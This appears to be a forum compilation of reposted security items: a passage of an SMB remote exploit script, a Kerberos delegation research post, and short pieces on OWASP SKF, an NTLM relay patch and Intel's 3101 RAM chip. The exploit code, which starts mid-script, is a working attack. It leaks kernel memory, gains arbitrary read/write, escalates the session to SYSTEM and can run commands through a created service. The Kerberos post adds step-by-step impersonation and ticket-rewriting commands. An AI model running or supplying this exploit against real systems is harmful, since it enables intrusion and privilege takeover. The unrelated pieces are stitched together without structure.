| PAGE_SIZE | # +-------------------------------+----------------+-------------------------------+----------------+ # | GROOM mid=mid_ntrename | extra_mid1 | GROOM mid=fid | extra_mid2 | # +-------------------------------+----------------+-------------------------------+----------------+ # # If transactions are aligned as we expected, BRIDE transaction with mid=extra_mid1 will be leaked. # From leaked transaction, we get # - leaked transaction address from InParameter or InData # - transaction, with mid=extra_mid2, address from LIST_ENTRY.Flink # With these information, we can verify the transaction aligment from displacement. leakData = conn.recv_transaction_data(mid_ntrename, 0x10d0+276) leakData = leakData[0x10d4:] # skip parameters and its own input #open('leak.dat', 'wb').write(leakData) if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag': print('Not found Frag pool tag in leak data') return None # ================================ # verify leak data # ================================ leakData = leakData[info['FRAG_TAG_OFFSET']-4+info['FRAG_POOL_SIZE']:] # check pool tag and size value in buffer header expected_size = pack('<H', info['BRIDE_TRANS_SIZE']) leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] if leakData[0x4:0x8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN']+2] != expected_size or leakData[leakTransOffset+2:leakTransOffset+4] != expected_size: print('No transaction struct in leak data') return None leakTrans = leakData[leakTransOffset:] ptrf = info['PTR_FMT'] _, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+ptrf*5, leakTrans, 8) inparam_value = unpack_from('<'+ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0] leak_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0] print('CONNECTION: 0x{:x}'.format(connection_addr)) print('SESSION: 0x{:x}'.format(session_addr)) print('FLINK: 0x{:x}'.format(flink_value)) print('InParam: 0x{:x}'.format(inparam_value)) print('MID: 0x{:x}'.format(leak_mid)) next_page_addr = (inparam_value & 0xfffffffffffff000) + 0x1000 if next_page_addr + info['GROOM_POOL_SIZE'] + info['FRAG_POOL_SIZE'] + info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] + info['TRANS_FLINK_OFFSET'] != flink_value: print('unexpected alignment, diff: 0x{:x}'.format(flink_value - next_page_addr)) return None # trans1: leak transaction # trans2: next transaction return { 'connection': connection_addr, 'session': session_addr, 'next_page_addr': next_page_addr, 'trans1_mid': leak_mid, 'trans1_addr': inparam_value - info['TRANS_SIZE'] - 4, 'trans2_addr': flink_value - info['TRANS_FLINK_OFFSET'], 'special_mid': special_mid, } def read_data(conn, info, read_addr, read_size): fmt = info['PTR_FMT'] # modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data # modify trans2.*ParameterCount and trans2.*DataCount to limit data new_data = pack('<'+fmt*3, info['trans2_addr']+info['TRANS_FLINK_OFFSET'], info['trans2_addr']+0x200, read_addr) # OutParameter, InData, OutData new_data += pack('<II', 0, 0) # SetupCount, MaxSetupCount new_data += pack('<III', 8, 8, 8) # ParamterCount, TotalParamterCount, MaxParameterCount new_data += pack('<III', read_size, read_size, read_size) # DataCount, TotalDataCount, MaxDataCount new_data += pack('<HH', 0, 5) # Category, Function (NT_RENAME) conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET']) # create one more transaction before leaking data # - next transaction can be used for arbitrary read/write after the current trans2 is done # - next transaction address is from TransactionListEntry.Flink value conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=0x4300-0x20, totalParameterCount=0x1000) # finish the trans2 to leak conn.send_nt_trans_secondary(mid=info['trans2_mid']) read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size) # set new trans2 address info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET'] # set trans1.InData to &trans2 conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET']) wait_for_request_processed(conn) # modify trans2 mid conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET']) wait_for_request_processed(conn) return read_data[8:] # no need to return parameter def write_data(conn, info, write_addr, write_data): # trans2.InData conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET']) wait_for_request_processed(conn) # write data conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data) wait_for_request_processed(conn) def exploit(target, pipe_name): conn = MYSMB(target) # set NODELAY to make exploit much faster conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) info = {} conn.login(USERNAME, PASSWORD, maxBufferSize=4356) server_os = conn.get_server_os() print('Target OS: '+server_os) if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"): info.update(WIN7_INFO) elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 "): info.update(WIN8_INFO) else: print('This exploit does not support this target') sys.exit() # ================================ # try align pagedpool and leak info until satisfy # ================================ leakInfo = None # max attempt: 10 for i in range(10): tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') conn.set_default_tid(tid) # fid for first open is always 0x4000. We can open named pipe multiple times to get other fids. fid = conn.nt_create_andx(tid, pipe_name) if 'FRAG_POOL_SIZE' not in info: leak_frag_size(conn, tid, fid, info) reset_extra_mid(conn) leakInfo = align_transaction_and_leak(conn, tid, fid, info) if leakInfo is not None: break print('leak failed... try again') conn.close(tid, fid) conn.disconnect_tree(tid) if leakInfo is None: return False info['fid'] = fid info.update(leakInfo) # ================================ # shift trans1.Indata ptr with SmbWriteAndX # ================================ shift_indata_byte = 0x200 conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte) # Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place. # So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong. # maxParameterCount (0x1000), trans name (4), param (4) indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte indata_next_trans_displacement = info['trans2_addr'] - indata_value conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET']) wait_for_request_processed(conn) # if the overwritten is correct, a modified transaction mid should be special_mid now. # a new transaction with special_mid should be error. recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='') if recvPkt.getNTStatus() != 0x10002: # invalid SMB print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus())) print('!!! Write to wrong place !!!') print('the target might be crashed') sys.exit() print('success controlling groom transaction') # NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly # but this method make the transation never get freed # I will avoid memory leak # ================================ # modify trans1 struct to be used for arbitrary read/write # ================================ print('modify trans1 struct for arbitrary read/write') fmt = info['PTR_FMT'] # modify trans_special.InData to &trans1 conn.send_nt_trans_secondary(mid=fid, data=pack('<'+fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET']) wait_for_request_processed(conn) # modify # - trans1.InParameter to &trans1. so we can modify trans1 struct with itself # - trans1.InData to &trans2. so we can modify trans2 easily conn.send_nt_trans_secondary(mid=info['special_mid'], data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET']) wait_for_request_processed(conn) # modify trans2.mid info['trans2_mid'] = conn.next_mid() conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET']) # Now, read_data() and write_data() can be used for arbitrary read and write. # ================================ # Modify this SMB session to be SYSTEM # ================================ # Note: Windows XP stores only PCtxtHandle and uses ImpersonateSecurityContext() for impersonation, so this # method does not work on Windows XP. But with arbitrary read/write, code execution is not difficult. print('make this SMB session to be SYSTEM') # IsNullSession = 0, IsAdmin = 1 write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01') # read session struct to get SecurityContext address sessionData = read_data(conn, info, info['session'], 0x100) secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0] # copy SecurityContext for restoration secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE']) print('overwriting session security context') # see FAKE_SECCTX detail at top of the file write_data(conn, info, secCtxAddr, info['FAKE_SECCTX']) # ================================ # do whatever we want as SYSTEM over this SMB connection # ================================ try: smb_pwn(conn) except: pass # restore SecurityContext. If the exploit does not use null session, PCtxtHandle will be leaked. write_data(conn, info, secCtxAddr, secCtxData) conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close() return True def smb_pwn(conn): smbConn = smbconnection.SMBConnection(conn.get_remote_host(), conn.get_remote_host(), existingConnection=conn, manualNegotiate=True) print('creating file c:\\pwned.txt on the target') tid2 = smbConn.connectTree('C$') fid2 = smbConn.createFile(tid2, '/pwned.txt') smbConn.closeFile(tid2, fid2) smbConn.disconnectTree(tid2) #service_exec(smbConn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt') # based on impacket/examples/serviceinstall.py def service_exec(smbConn, cmd): import random import string from impacket.dcerpc.v5 import transport, srvs, scmr service_name = ''.join([random.choice(string.letters) for i in range(4)]) # Setup up a DCE SMBTransport with the connection already in place rpctransport = transport.SMBTransport(smbConn.getRemoteHost(), smbConn.getRemoteHost(), filename=r'\svcctl', smb_connection=smbConn) rpcsvc = rpctransport.get_dce_rpc() rpcsvc.connect() rpcsvc.bind(scmr.MSRPC_UUID_SCMR) svnHandle = None try: print("Opening SVCManager on %s....." % smbConn.getRemoteHost()) resp = scmr.hROpenSCManagerW(rpcsvc) svcHandle = resp['lpScHandle'] # First we try to open the service in case it exists. If it does, we remove it. try: resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00') except Exception, e: if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1: raise e # Unexpected error else: # It exists, remove it scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle']) scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle']) print('Creating service %s.....' % service_name) resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00') serviceHandle = resp['lpServiceHandle'] if serviceHandle: # Start service try: print('Starting service %s.....' % service_name) scmr.hRStartServiceW(rpcsvc, serviceHandle) # is it really need to stop? # using command line always makes starting service fail because SetServiceStatus() does not get called print('Stoping service %s.....' % service_name) scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP) except Exception, e: print(str(e)) print('Removing service %s.....' % service_name) scmr.hRDeleteService(rpcsvc, serviceHandle) scmr.hRCloseServiceHandle(rpcsvc, serviceHandle) except Exception, e: print("ServiceExec Error on: %s" % smbConn.getRemoteHost()) print(str(e)) finally: if svcHandle: scmr.hRCloseServiceHandle(rpcsvc, svcHandle) rpcsvc.disconnect() if len(sys.argv) != 3: print("{} <ip> <pipe_name>".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] pipe_name = sys.argv[2] exploit(target, pipe_name) print('Done') Sursa: https://www.exploit-db.com/exploits/42315/

StackOverflow Importer Do you ever feel like all you’re doing is copy/pasting from Stack Overflow? Let’s take it one step further. from stackoverflow import quick_sort will go through the search results of [python] quick sort looking for the largest code block that doesn’t syntax error in the highest voted answer from the highest voted question and return it as a module. If that answer doesn’t have any valid python code, it checks the next highest voted answer for code blocks. >>> from stackoverflow import quick_sort, split_into_chunks >>> print(quick_sort.sort([1, 3, 2, 5, 4])) [1, 2, 3, 4, 5] >>> print(list(split_into_chunks.chunk("very good chunk func"))) ['very ', 'good ', 'chunk', ' func'] >>> print("I wonder who made split_into_chunks", split_into_chunks.__author__) I wonder who made split_into_chunks https://stackoverflow.com/a/35107113 >>> print("but what's the license? Can I really use this?", quick_sort.__license__) but what's the license? Can I really use this? CC BY-SA 3.0 >>> assert("nice, attribution!") This module is licensed under whatever license you want it to be as long as the license is compatible with the fact that I blatantly copied multiple lines of code from the Python standard library. Sursa: https://github.com/drathier/stack-overflow-import

Kerberos Delegation, SPNs and More... BY: Alberto Solino 1 Latest from CoreLabs During the past few years, there has been an increasing amount of research around Kerberos security, leading to the discovery of very interesting attacks against environments supporting this authentication protocol. In this blog post, I will cover some findings (and still remaining open questions) around the Kerberos Constrained Delegation feature in Windows as well as Service Principal Name (SPN) filtering that might be useful when considering using/testing this technology. I will also share some code that you can play with. It has heavy Kerberos technical content so you might want to review its RFC or higher level tutorials like this one. Although I have been doing some research on Kerberos for quite a while, this particular work got triggered when reading Ben Campbell’s ‘Trust? Years to earn, seconds to break’ blog post (very good article by the way). While reading Ben’s article, he described the practical exploitation of an Active Directory environment when having credentials for an account that has the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION capability. He mentioned he couldn’t complete one of the attack steps using the secretsdump.py tool, part of our Impacket library. The Impacket library is used extensively in some of our products, and also as a stand-alone library and tools within the security community. It also happens that I developed that script (plus the Kerberos support) so I took a look at the possible issue for fixing. Okay.. enough explanations, let’s get into the topic: Kerberos Constrained Delegation Think about this scenario, inside a domain called FREEFLY.NET: image001.png Figure 1 - Our test environment in the FREEFLY.NET domain A normaluser@freefly.net authenticates against a target Web Server, and then that Web Server grabs some content from a third-party server (called fileserver.freefly.net). Now, how does the Web Server authenticate against File Server to grab content? There are a few options: Use a general user (could be serviceuser@freefly.net) Use the identity of the user that just authenticated against the Web Server Any other way that comes to your mind Option 2 looks interesting for those scenarios where the original identity of the client user is needed in the last hop of this chain (in this case the File Server). This might be required for auditing purposes or to enforce better authorization permissions. In order for this scenario to work, serviceuser@freefly.net needs to have special privileges that will allow it to impersonate the client user and then authenticate on behalf that user against the File Server. In a nutshell, that’s what Kerberos Delegation is for. Prior to Windows Server 2003, the only way to set up a scenario like this was to give serviceuser@freefly.net the ability to authenticate almost as any user against almost any server within the domain (I say almost because there are ways to restrict it, but most of the times not used). Sean Metcalf covers some of the dangers around this unconstrained delegation feature in this article. So, in order to address the issues associated with unconstrained delegation, Microsoft introduced Kerberos Constrained Delegation, allowing to specify what services the account you’re giving delegation rights is allowed to present delegated credentials against. This is configured in the delegation tab for the service account. In our case, there should be an entry for cifs/fileserver.freefly.net in there: kerberos_image003.png Figure 2 - Constrained Delegation set up for serviceuser@freefly.net Now, what happens if for any reason, the serviceuser@freefly.net credentials are compromised? For example, one of the possible ways for that account to get compromised is by performing a Kerberoast attack (for more info see Tim Medin’s DerbyCon “Attacking Microsoft Kerberos Kicking the Guard Dog of Hades” slides), but there are many others. In theory, an attacker using that account would be able to authenticate as any user only against the service cifs/fileserver.freefly.net. Turns out there were details I wasn’t counting on. While reading Ben Campbell’s blog post there was a paragraph that caught my attention (quoting a Benjamin Delpy’s comment): The wonderful Mr. Delpy also found that a Kerberos ticket for ldap/domaincontroller.contoso.com would also allow that account to perform an Active Directory DC Sync attack. That made me think that maybe not only a Kerberos Service Ticket (TGS) for the SPN ldapdomaincontroller.contoso.com would allow Active Directory Replication (what DC Sync and secretsdump.py do) but maybe more SPNs. So, I went to change the way Impacket handles cached Kerberos tickets in this commit. Basically, if you have different Service Ticket (TGS) cached, and you are asking for, let’s say, a ticket for host/fileserver.freefly.net but the cache only has a ticket for cifs/fileserver.freefly.net, the library will give you that one (instead of None) hoping it might actually work. Surprisingly that change worked like a charm!! The following steps follow the same steps from Ben’s blog applied to my setup, assuming I compromised serviceuser@freefly.net credentials. This time I will not use secretsdump.py, since for a domain-joined machine (File Server) having a Service Ticket (TGS) for cifs/ is enough for dumping all the credentials (different story if the target is the domain controller). I will be using wmiexec.py that needs a Service Ticket (TGS) for host/ in order to create DCOM connections against the target when executing commands through WMI. Step 0 – Specify where cached tickets will be stored # export KRB5CCNAME=/tmp/ccache Step 1 - Create a keytab for the service account # ktutil ktutil: addent -password -p serviceuser@FREEFLY.NET -k 1 -e aes256-cts-hmac-sha1-96 Password for serviceuser@FREEFLY.NET: ktutil: addent -password -p serviceuser@FREEFLY.NET -k 2 -e rc4-hmac Password for serviceuser@FREEFLY.NET: ktutil: wkt /tmp/su.keytab ktutil: exit Step 2 - Retrieve a Ticket Granting Ticket (TGT) for the service account # kinit -V -k -t /tmp/su.keytab -f serviceuser@FREEFLY.NET Using default cache: /tmp/ccache Using principal: serviceuser@FREEFLY.NET Using keytab: /tmp/su.keytab Authenticated to Kerberos v5 Step 3 – Request the Ticket Granting Service (TGS) for the target service as the impersonated user (in this case ‘Administrator’) # kvno -e aes256-cts-hmac-sha1-96 -k /tmp/su.keytab -P -U Administrator cifs/FILESERVER.FREEFLY.NET@FREEFLY.NET cifs/FILESERVER.FREEFLY.NET@FREEFLY.NET: kvno = 2, keytab entry valid Step 4 – Pass the ticket using wmiexec.py (some output removed) $ ./wmiexec.py -k fileserver.freefly.net -debug Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies [+] Using Kerberos Cache: /tmp/ccache [..] [*] SMBv2.1 dialect used [..] [+] Domain retrieved from CCache: FREEFLY.NET [+] Using Kerberos Cache: /tmp/ccache [+] SPN HOST/FILESERVER.FREEFLY.NET@FREEFLY.NET not found in cache [+] AnySPN is True, looking for another suitable SPN [+] Returning cached credential for CIFS/FILESERVER.FREEFLY.NET@FREEFLY.NET [..] [+] Target system is fileserver.freefly.net and isFDQN is True [+] StringBinding: \\\\FILESERVER[\\PIPE\\atsvc] [+] StringBinding: FILESERVER[49154] [+] StringBinding chosen: ncacn_ip_tcp:fileserver.freefly.net[49154] [..] [!] Launching semi-interactive shell - Careful what you execute [!] Press help for extra shell commands C:\>whoami freefly\administrator C:\> As can be seen, I was able to create DCOM connections against the File Server, using the only SPN that was available to delegate (cifs/). With that information, it was clear to me that the Kerberos Constrained Delegation feature had some issues that needed clarification. I could basically use a Service Ticket (TGS) for cifs/* to do directory replication, or to launch DCOM, etc. Looked like the SPN didn’t matter much at the end. I emailed Microsoft Security Response Center (MSRC) with my findings and after some days of analysis they answer back with a thorough answer: The product team has finished their investigation and determined this behavior is expected; they provided the following additional details: There is no security boundary between processes that run under the same identity. The security descriptor on a process generally grants significant permissions to the user account under which the process is running. Thus, one service that is running under account foo can easily tamper with other service processes also running as foo. This lack of a security boundary extends to Kerberos as well. In the Kerberos authentication protocol, a service validates in inbound service ticket by ensuring that the ticket is encrypted to that service’s symmetric key. The SPN used does not factor into this validation; in fact the AcceptSecurityContext call that the service uses to perform this validation does not include any information about the SPNs that the service expects. Were this not the case, checking the SPN from the service ticket would still provide no security protection against a malicious client. The sname field is part of the unencrypted part of the ticket. If service account foo has registered both the host/foo and http/foo SPNs then tickets to those SPNs are fully interchangeable. [..] If a front-end service is granted permission to delegate to host/foo then it is also able to delegate to http/foo. For this reason, the new Kerberos Constrained Delegation attribute assigns permissions per account, rather than on a per SPN basis. If two services should have different delegation settings then they must be run under different accounts That was actually a big surprise to me, in particular in the context of Kerberos Constrained Delegation where you explicitly specify the services (cifs/, http/, etc) to which the account you’re enabling delegation can present delegated credentials against. The big take away from this is, when configuring Kerberos Constrained Delegation, keep in mind that you are delegating credentials not only to the service type you specified but also to the rest of the service types running under the same account. Also, the SPN specified in the sname field, doesn’t seem to be used as part of the authentication mechanism. I haven’t seen this behavior explained in any Microsoft documentation around this topic. If anyone has extra data please let me know and I’ll update it here. Also, it's fair to say that the Kerberos RFC doesn’t mention either any sname check when receiving a TGS-REQ from a client. Makes sense since the sname field seems not being protected (more on this later). Having that big question answered, I already had something else that I couldn’t understand, regarding the SPN Filtering feature. Server SPN target name validation level Going back to the Constrained Delegation set up (Figure 2), let’s say that instead of allowing to delegate to cifs/fileserver.freefly.net, we change it to upn/fileserver.freefly.net (or any other service type available except cifs/) and ran all the Steps to get the Kerberos tickets described before. We would end up having the following tickets in our ticket’s cache: Credentials cache: FILE:/tmp/ccache Principal: serviceuser@FREEFLY.NET Issued Expires Principal Feb 23 17:26:34 2017 Feb 24 03:26:34 2017 krbtgt/FREEFLY.NET@FREEFLY.NET Feb 23 17:26:39 2017 Feb 24 03:26:34 2017 serviceuser@FREEFLY.NET Feb 23 17:26:39 2017 Feb 24 03:26:34 2017 ups/FILESERVER.FREEFLY.NET@FREEFLY.NET At the same time, we enforce domain wise, the following security policy: Microsoft network server: Server SPN target name validation level: Required from client You can read about that policy here, but in a nutshell: This policy setting controls the level of validation that a server with shared folders or printers performs on the service principal name (SPN) that is provided by the client device when the client device establishes a session by using the Server Message Block (SMB) protocol. The level of validation can help prevent a class of attacks against SMB services (referred to as SMB relay attacks). Given this configuration and the cached tickets, we can try running a tool that connects to the target cifs/fileserver.freefly.net service presenting the Service Ticket (TGS) for upn/fileserver.freefly.net and hoping it would work. For example, let’s run smbclient.py: #./smbclient.py -debug -k fileserver.freefly.net Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies [+] Using Kerberos Cache: /tmp/ccache [+] Domain retrieved from CCache: FREEFLY.NET [+] SPN CIFS/FILESERVER.FREEFLY.NET@FREEFLY.NET not found in cache [+] AnySPN is True, looking for another suitable SPN [+] Returning cached credential for UPS/FILESERVER.FREEFLY.NET@FREEFLY.NET [+] Using TGS from cache [+] Username retrieved from CCache: Administrator [-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.) As you can see, using the ups/ Service Ticket (TGS) didn’t work this time. But, there was something very interesting inside the MSRC answer, in particular: checking the SPN from the service ticket would still provide no security protection against a malicious client. The sname field is part of the unencrypted part of the ticket. This is very important, the sname field details the target SPN the Service Ticket (TGS) is valid for. Here’s the description of the ticket taken from RFC 4120 for the Ticket included in a TGS-REP packet: Ticket ::= [APPLICATION 1] SEQUENCE { tkt-vno [0] INTEGER (5), realm [1] Realm, sname [2] PrincipalName, enc-part [3] EncryptedData -- EncTicketPart } So, as the MSRC answer detailed since the sname field is not signed or protected by any means, I could basically change it to the SPN I want and hope the long-term key used to encrypt the enc-part is the same for this new SPNs. If so, that would basically mean that both SPNs are running under the same user. With all this in mind, I added another change to the way Impacket handles Kerberos tickets. With this new change, if there’s a Service Ticket (TGS) that barely matches the target SPN, not only will the library give it back (instead of None), but also it will change its sname field so it matches the original request. As said before, this could fail big time if the target service is not running under the same service user as the original Service Ticket (TGS), at least we could try and hope for the best! With all these changes, running smbclient.py again throws the following: ./smbclient.py -debug -k fileserver.freefly.net Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies [+] Using Kerberos Cache: /tmp/ccache [+] Domain retrieved from CCache: FREEFLY.NET [+] SPN CIFS/FILESERVER.FREEFLY.NET@FREEFLY.NET not found in cache [+] AnySPN is True, looking for another suitable SPN [+] Returning cached credential for UPS/FILESERVER.FREEFLY.NET@FREEFLY.NET [+] Changing sname from ups/FILESERVER.FREEFLY.NET@FREEFLY.NET to cifs/FILESERVER.FREEFLY.NET@FREEFLY.NET and hoping for the best [+] Using TGS from cache [+] Username retrieved from CCache: Administrator Type help for list of commands # shares ADMIN$ C$ IPC$ # It worked! Even with Server SPN target name validation level: Required from client enabled. This tells me that most probably the Windows OS is reading the Service Ticket (TGS) sname when applying this policy, although I couldn’t verify it. On a side note, this policy Server SPN target name validation level: Required from client works much better (well, works..) when NTLM Authentication is being used, since the target SPN is set by the client (when the client supports it) inside the AV_PAIR structure, included in the blob that is signed as part of the NTLMv2 Authentication. Final Notes Kerberos Delegation has some very specific details that are crucial to have in mind to better understand the consequences of allowing delegation in an Active Directory environment. Consider regularly auditing the accounts with delegation enabled. Always use strong passwords for them. A compromise of those accounts could easily increase the lateral movements and elevation of privileges within the Active Directory environment. Finally, to the adventurous reader, the idea of changing a ticket’s sname could bring interesting results besides the particular situation described. More research is needed tho Thanks for reading! Acknowledgments MSRC for its quick and thorough answer. Ben Campbell (@Meatballs__) for his blog post and verifying my Impacket changes worked against his environment. Benjamin Delpy (@gentilkiwi ) for checking these findings himself, peer reviewing these contents and his knowledge of Kerberos internals. Sursa: https://www.coresecurity.com/blog/kerberos-delegation-spns-and-more

OWASP Security Knowledge Framework The OWASP Security Knowledge Framework is intended to be a tool that is used as a guide for building and verifying secure software. It can also be used to train developers about application security. Education is the first step in the Secure Software Development Lifecycle. The 4 Core usage of SKF: Security Requirements OWASP ASVS for development and for third party vendor applications Security knowledge reference (Code examples/ Knowledge Base items) Security is part of design with the pre-development functionality in SKF Use SKF to gather the right security requirements for your projects SKF then gives extensive knowledgebase items that correlates to the security requirements Developers can close "tickets" and leave an audit trail to determine possible technical depts or improvements Security specialist can follow the "tickets" and audit trail and verify or Fail closed items and provide feedback. Description The OWASP Security Knowledge Framework is an expert system web-application that uses the OWASP Application Security Verification Standard and other resources. It can be used to support developers in pre-development (security by design) as well as after code is released (OWASP ASVS Level 1-3). Why Use The OWASP Security Knowledge Framework? Our experience taught us that the current level of security the current web-applications contain is not sufficient enough to ensure security. This is mainly because web-developers simpy aren't aware of the risks and dangers are lurking, waiting to be exploited by hackers. Because of this we decided to develop a security tool in order to create a guide system available for all developers so they can develop applications secure by design. The security knowledge framework is here to support developers create secure applications. By analysing proccessing techniques in which the developers use to edit their data the application can link these techniques to different known vulnerabilities and give the developer feedback regarding descriptions and solutions on how to properly implement these techniques in a safe manner. The seccond stage of the application is validating if the developer properly implemented different types of defense mechanisms by means of different checklists such as the application security verification standards. By means of the answers supplied by the developer the application again generates documentation in which it gives feedback on what defense mechanisms he forgot to implement and give him feedback regarding descriptions and solutions on how to properly implement these techniques in a safe manner. Licensing This program is free software: you can redistribute it and/or modify it under the terms of the link GNU Affero General Public License 3.0 as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Donate <paypal>Security Knowledge Framework </paypal> Sursa: https://www.owasp.org/index.php/OWASP_Security_Knowledge_Framework

NTLM Relay Attacks Still Causing Problems in 2017 By Catalin Cimpanu July 11, 2017 Microsoft's July 2017 Patch Tuesday includes a fix for an issue with the NT LAN Manager (NTLM) Authentication Protocol that can be exploited to allow attackers to create admin accounts on a local network's domain controller (DC). The issue was discovered by three Preempt researchers and can be exploited because some of the authentication methods supported by Windows via the Windows Authentication API (SSPI) allow an attacker to downgrade the authentication system back to NTLM, a protocol that shipped for the first time in 1995 with Windows NT 3.51. NTLM relay attack allows creation of DC admin accounts At its heart, the attack Preempt researchers discovered is an NTLM relay attack. These types of attacks have been known to exist for well over a decade, and rely on a user connecting to an infected computer. This computer is usually infected with malware and takes NTLM credentials and relays them to a third-party or uses them to perform malicious actions on the connecting user's behalf, but without his knowledge. This is exactly what the Preempt team discovered. In a blog post published today, and in a YouTube video below, researchers said they could downgrade LDAP authentication attempt against an infected server down to NTLM, and forward authentication and session information to an attacker. The attacker could then use these credentials to create his own admin account on the local network's domain controller, effectively taking over that network. For LDAP operations, the attack works even if the user connecting to the infected server is using LDAP server signing, a security system that digitally signs every LDAP session with a unique key. The Preempt attack is tracked as CVE-2017-8563, and Microsoft issues patches via the following KB articles: 4025331, 4025333, 4025336, 4025337, 4025338, 4025339, 4025341, 4025342, 4025343, 4025344, and 4025409. Attack variation bypasses RDP Restricted-Admin Last but not least, researchers also discovered a variation of this attack that works for RDP connections to infected computers. This attack bypasses RDP Restricted-Admin, the so-called RDP Safe Mode connection type that IT technicians use to connect to infected PCs. Just like the original LDAP attack, attackers downgraded the RDP connection to NTLM and later created a rogue admin account on the local domain controller. Microsoft said this was a known issue, but did not release a fix. Sursa: https://www.bleepingcomputer.com/news/security/ntlm-relay-attacks-still-causing-problems-in-2017/

Inside Intel's first product: the 3101 RAM chip held just 64 bits Intel's first product was not a processor, but a memory chip: the 31011 RAM chip, released in April 1969. This chip held just 64 bits of data (equivalent to 8 letters or 16 digits) and had the steep price tag of $99.50.2 The chip's capacity was way too small to replace core memory, the dominant storage technology at the time, which stored bits in tiny magnetized ferrite cores. However, the 3101 performed at high speed due to its special Schottky transistors, making it useful in minicomputers where CPU registers required fast storage. The overthrow of core memory would require a different technology—MOS DRAM chips—and the 3101 remained in use in the 1980s.3 This article looks inside the 3101 chip and explains how it works. I received two 3101 chips from Evan Wasserman and used a microscope to take photos of the tiny silicon die inside.4 Around the outside of the die, sixteen black bond wires connect pads on the die to the chip's external pins. The die itself consists of silicon circuitry connected by a metal layer on top, which appears golden in the photo. The thick metal lines through the middle of the chip power the chip. The silicon circuitry has a grayish-purple color, but it largely covered by the metal layer. Most of the chip contains a repeated pattern: this is the 16x4 array of storage cells. In the upper left corner of the chip, the digits "3101" in metal identify the chip, but "Intel" is not to be found. Die photo of the Intel 3101 64-bit RAM chip. Click for a larger image. Overview of the chip The 3101 chip is controlled through its 16 external pins. To select one of the chip's 16 words of memory, the address in binary is fed into the chip through the four address pins (A0 to A3). Memory is written by providing the 4-bit value on the data input pins (D1 to D4). Four data output pins (O1 to O4) are used to read memory; these pins are inverted as indicated by the overbar. The chip has two control inputs. The chip select pin (CS) enables or disables the chip. The write enable pin (WE) selects between reading or writing the memory. The chip is powered with 5 volts across the Vcc and ground pins. The diagram below shows how the key components of the 3101 are arranged on the die. The RAM storage cells are arranged as 16 rows of 4 bits. Each row stores a word, with bits D1 and D2 on the left and D3 and D4 on the right. The address decode logic in the middle selects which row of storage is active, based on the address signals coming from the address drivers at the top. At the bottom, the read/write drivers provide the interface between the storage cells and the data in and out pins. Block diagram of the 3101 RAM chip. Transistors Transistors are the key components in a chip. The 3101 uses NPN bipolar transistors, different from the MOS transistors used in modern memory chips. The diagram below shows one of the transistors in the 3101 as it appears on the die. The slightly different tints in the silicon indicate regions that have been doped to form N and P type silicon with different semiconductor properties. The cross-section diagram illustrates the internal structure of the transistor. On top (black) are the metal contacts for the collector 